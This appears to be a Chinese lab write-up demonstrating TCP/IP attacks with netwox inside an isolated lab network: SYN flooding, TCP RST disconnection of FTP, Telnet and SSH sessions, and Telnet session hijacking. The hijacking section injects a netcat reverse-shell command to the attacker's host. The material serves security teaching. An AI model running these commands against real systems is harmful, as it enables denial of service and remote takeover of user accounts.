网络安全-TCP-IP攻击

TCP-IP攻击

概述

1. SYN-Flooding攻击效果,受害者系统卡死.

2. TCP-RST攻击实现已经建立的TCP连接断开.

3. TCP会话劫持,劫持TCP会话,并实现反向Shell.

实验环境

1. 三台Linux系统主机,一台作为攻击者,一台作为受害者,一台作为观察者.

2. 为了简化TCP序列号和源端口号的“猜测”,实验处于同一局域网内,你可以使用嗅探器来获取受害者信息.

SYN-Flooding攻击

1. SYN-Flooding攻击原理

SYN-Flooding是DoS攻击的一种,攻击者向受害者的TCP端口发送很多SYN请求,但攻击者无意完成三次握手过程.

攻击者要么使用欺骗性的假的IP地址,要么不要继续完成整个三次握手过程.

通过这种攻击,攻击者可以淹没用于半连接的受害者队列,即已完成SYN,SYN-ACK但尚未得到最终ACK的连接.

当这个队列已满时,受害者不能再进行任何连接.

正常三次握手过程:

client  ---  service
SYN     -->
        <--  SYN-ACK
ACK     ---> 

在Linux中,我们可以使用以下命令检查

命令:#sysctl -q net.ipv4.tcp_max_syn_backlog 
root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512

我们可以使用命令“netstat -na”来检查队列的使用情况,即与监听端口相关联的半连接的数量.

这种半连接的状态是SYN-RECV。如果三次握手完成,则连接的状态将为ESTABLISHED.

在这个任务中,你需要演示SYN-Flooding攻击:

您可以使用Netwox来执行攻击,然后使用嗅探器捕获攻击性数据包.

在攻击发生时,在受害机器上运行“netstat -na”命令,并将结果与攻击前的结果进行比较.

2. Netwox 76简介

标题:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
参数:
-i | --dst-ip ip 目标IP地址
-p | --dst-port port 目标端口号
-s | --spoofip spoofip IP欺骗初始化类型

3. SYN Cookie防御机制

如果你的攻击看起来不成功,你可以检查是否启用了SYN cookie机制.

SYN cookie是抵抗SYN-Flooding的防御机制.

防御原理简介:

在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,

而是根据这个SYN包计算出一个cookie值.

在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性.

如果合法,再分配专门的数据区进行处理未来的TCP连接.

你可以使用sysctl命令打开/关闭SYN cookie机制:

#sysctl -a | grep cookie(显示SYN cookie标志)
#sysctl -w net.ipv4.tcp_syncookies = 0(关闭SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打开SYN cookie)

4. 实验结果分析

攻击者:192.168.59.1
受害者:192.168.59.144
攻击者终端对受害者进行SYN-Flooding打击:
# netwox 76 -i 192.168.59.144 -p 80
实验现象:受害者系统出现卡死状态.  

比较netstat -na前后状态如下:

产生大量的TCP半连接,阻塞了队列,导致后续正常TCP连接无法建立!!

[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt 
5a6,261
> tcp        0      0 192.168.59.144:80       253.138.146.184:9358    SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.55.107.172:50273    SYN_RECV   
> tcp        0      0 192.168.59.144:80       196.23.102.181:5583     SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.22.15.17:45979      SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.166.91.206:61644    SYN_RECV   
> tcp        0      0 192.168.59.144:80       249.212.122.218:23424   SYN_RECV   
> tcp        0      0 192.168.59.144:80       251.32.218.10:56419     SYN_RECV   
> tcp        0      0 192.168.59.144:80       248.235.192.194:41439   SYN_RECV   
> tcp        0      0 192.168.59.144:80       241.118.133.147:19187   SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.23.168.166:21253    SYN_RECV   
> tcp        0      0 192.168.59.144:80       247.207.89.108:45839    SYN_RECV  
> ...........................................................................

TCP-RST攻击

1. FTP协议

# service vsftpd start

2. TELNET协议

# /etc/init.d/openbsd-inetd start

3. SSH协议

# /etc/init.d/ssh start

4. Newox 78简介

标题:重置每个TCP数据包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
参数:
-d | --device device名称{Eth0}
-f | --filter filter pcap过滤器
-s | --spoofip spoofip IP欺骗初始化类型{linkbraw}

5. 实验结果分析

-** FTP**

FTP服务器地址:192.168.59.146/24

FTP客户端地址:192.168.59.144/24

攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Desktop
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Documents
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Downloads
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Music
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Pictures
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Public
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Templates
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>

  • Telnet

Telnet服务器地址:192.168.59.146/24

Telnet客户端地址:192.168.59.144/24

攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

gu@ubuntu:~$
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$
gu@ubuntu:~$ Connection closed by foreign host.
[04/18/2018 00:28] seed@ubuntu:~$

  • SSH

SSH服务器地址:192.168.59.146/24

SSH客户端地址:192.168.59.144/24

攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146
gu@192.168.59.146's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$ 
gu@ubuntu:~$ 
gu@ubuntu:~$ Write failed: Broken pipe
[04/18/2018 00:41] seed@ubuntu:~$ 

TCP会话劫持

1. 会话劫持简介

TCP会话劫持攻击的目标是通过向该会话中注入恶意内容来劫持两名受害者之间的现有TCP连接(会话).

如果这个连接是一个telnet会话,攻击者可以在这个会话中注入恶意命令(例如删除重要文件),导致受害者执行恶意命令.

2. Wireshark简介

如果您使用Wireshark观察网络流量,当Wireshark显示TCP序列号时,

默认情况下会显示相对序列号,它等于实际序列号减去初始序列号.

如果想查看包中的实际序列号,则需要右键单击Wireshark输出的TCP部分,

然后选择"Protocol Preference". 在弹出窗口中,取消选"Relative Sequence Number"选项.

3. Netwox 40简介

标题: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
参数:
 -c|--ip4-tos uint32            IP4 tos {0}
 -e|--ip4-id uint32             IP4 id (rand if unset) {0}
 -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
 -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
 -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
 -i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}
 -j|--ip4-ttl uint32            IP4 ttl {0}
 -k|--ip4-protocol uint32       IP4 protocol {0}
 -l|--ip4-src ip                IP4 src {172.16.27.1}
 -m|--ip4-dst ip                IP4 dst {5.6.7.8}
 -n|--ip4-opt ip4opts           IPv4 options
 -o|--tcp-src port              TCP src {1234}
 -p|--tcp-dst port              TCP dst {80}
 -q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}
 -r|--tcp-acknum uint32         TCP acknum {0}
 -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
 -w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr
 -x|--tcp-ece|+x|--no-tcp-ece   TCP ece
 -y|--tcp-urg|+y|--no-tcp-urg   TCP urg
 -z|--tcp-ack|+z|--no-tcp-ack   TCP ack
 -A|--tcp-psh|+A|--no-tcp-psh   TCP psh
 -B|--tcp-rst|+B|--no-tcp-rst   TCP rst
 -C|--tcp-syn|+C|--no-tcp-syn   TCP syn
 -D|--tcp-fin|+D|--no-tcp-fin   TCP fin
 -E|--tcp-window uint32         TCP window {0}
 -F|--tcp-urgptr uint32         TCP urgptr {0}
 -G|--tcp-opt tcpopts           TCP options
 -H|--tcp-data mixed_data       mixed data

4. 实验结果分析

Telnet服务器地址:192.168.59.148/24

Telnet客户端地址:192.168.59.146/24

攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP会话劫持:

我们要伪造发下一个包:

所以直接采用nextseq作为下一个包的ack,采用ack作为下一个包的seq.

最后一个Telnet数据包内容如下:

最后一个Telnet数据包

我们伪造向服务器192.168.59.148发送ls命令,

将`ls`转换成16进制并加上`\r`的16进制数得到6c730d00, 

通过netwox构造我们的攻击指令如下:

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"

在wireshark上显示抓包数据如下:

wireshark上显示抓包数据
我们成功的发送了ls !!!

成功的发送了ls
我们成功的获取到了服务器发送的数据 !!!

来创建我们的肉鸡~

现在我们来通过NC反弹一个Shell,来控制我们受害者:

首先是构造NC命令:

攻击者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
创建NC攻击语句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"

实验结果如图:

首先看结果:我们成功拿到了服务器上的用户gu的所有权限!

拿到了服务器上的用户gu的所有权限

咱们再来看看抓包数据,通过抓包数据,你可以看到最后一条Telnet的TCP数据,通过这些数据,就可以很方便通过Netwox构造攻击语句了!!

通过Netwox构造攻击语句
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容

  • 1.这篇文章不是本人原创的,只是个人为了对这部分知识做一个整理和系统的输出而编辑成的,在此郑重地向本文所引用文章的...
    SOMCENT阅读 13,051评论 6 174
  • 读懂了TCP/IP协议,也就基本了解的网络通信原理。本文是参照研究生教材《网络安全原理与应用》里面的内容加上自己实...
    Super超人阅读 21,879评论 1 19
  • 1. TCP/IP 协议的脆弱性 1.1 不能提供可靠的身份验证 TCP/IP 协议以 32 bit 的 IP 地...
    FlyingReganMian阅读 8,908评论 0 2
  • 个人认为,Goodboy1881先生的TCP /IP 协议详解学习博客系列博客是一部非常精彩的学习笔记,这虽然只是...
    贰零壹柒_fc10阅读 5,051评论 0 8
  • 日常生活中难免会生病,掌握一些基础的中医知识,可以帮助自己以及家人。 舌诊相对最容易自学;每天日观舌象,就能够把疾...
    王虹亮阅读 7,245评论 17 14